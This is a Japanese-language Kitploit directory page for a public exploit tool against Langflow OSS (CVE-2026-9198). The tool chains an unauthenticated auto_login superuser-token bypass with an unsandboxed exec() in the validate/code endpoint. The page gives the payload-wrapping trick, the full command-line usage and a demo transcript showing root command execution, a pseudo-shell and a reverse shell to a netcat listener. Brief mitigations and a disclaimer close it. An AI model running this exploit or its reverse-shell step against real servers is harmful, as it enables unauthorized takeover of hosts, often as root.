Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-9198_exploit — Langflow OSS向けの未認証RCEエクスプロイトで、auto_login JWTバイパスとvalidate/code exec()を連鎖させ、リモートコマンド実行とリバースシェルを達成します | Kitploit
ツール/GitHubGitHub/0xdak/cve-2026-9198_exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツール
GitHub0xdak/cve-2026-9198_exploit

CVE-2026-9198_exploit

Langflow OSS向けの未認証RCEエクスプロイトで、auto_login JWTバイパスとvalidate/code exec()を連鎖させ、リモートコマンド実行とリバースシェルを達成します

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9198 — Langflow OSS 認証なしリモートコード実行

IBM Langflow OSS (1.0.0 – 1.10.0) のデフォルトデプロイ環境における認証なしリモートコード実行。以下の 2 つの脆弱性を連鎖させる:

  • CVE-2026-9103 — GET /api/v1/auto_login は、AUTO_LOGIN が有効な場合(Langflow < 1.5 でのデフォルト)、認証情報なしの任意の呼び出し元に SUPERUSER JWT を発行する。
  • CVE-2026-8481 — POST /api/v1/validate/code はユーザー提供の Python コードをサンドボックスなしで exec() に渡す。

これらを組み合わせることで(CVE-2026-9198)、認証なしの攻撃者は Langflow サービスユーザー(多くの場合 root)としてコード実行を達成する。

機能

  1. /api/v1/auto_login からスーパーユーザーベアラートークンを要求する(認証なし)。

  2. ペイロードを /api/v1/validate/code に送信する。エンドポイントはコードを「検証」するために exec() を実行する。Python は 定義時に関数のデフォルト引数値を評価する ため、ペイロードは関数のデフォルト引数にラップされる:

    root@kitploit:~
    def _v(a=exec('<payload>')): pass
    

    コマンド実行のために、ペイロードはコマンド出力をメッセージとする例外を発生させ、エンドポイントはそれをレスポンス(function.errors[])に反映する。

使用方法

root@kitploit:~
./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

デモ

root@kitploit:~
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

必要条件

  • Python 3.6+(標準ライブラリのみ — pip install は不要)

注意事項

  • AUTO_LOGIN が有効な場合のみ動作する(Langflow < 1.5 ではデフォルト。>= 1.5 では明示的に LANGFLOW_AUTO_LOGIN=true が必要)。auto_login がトークンを返さない場合、この経路ではターゲットは悪用不可 — 有効なトークンがあれば -k で指定する。
  • コマンド出力はレスポンスの function.errors[] に返される。stderr は stdout に統合されるため、失敗したコマンドでもエラーが表示される。
  • コードは Langflow サービスユーザー として実行される。これが root の場合(systemd/Docker-as-root での裸の langflow run で一般的)、これは直接のホスト root となる。

対策

  • 影響を受ける範囲を超えて Langflow をアップグレードする。validate/code は信頼できない入力を exec() してはならず、auto_login はスーパーユーザートークンを発行してはならない。
  • LANGFLOW_AUTO_LOGIN=false を設定し、実際のスーパーユーザー資格情報を構成する。
  • Langflow サービスを root として実行しない。

免責事項

このプロジェクトは、許可されたセキュリティテストおよび教育目的のみで公開されています。所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。作者は誤用に対する責任を負いません。

ツールをダウンロード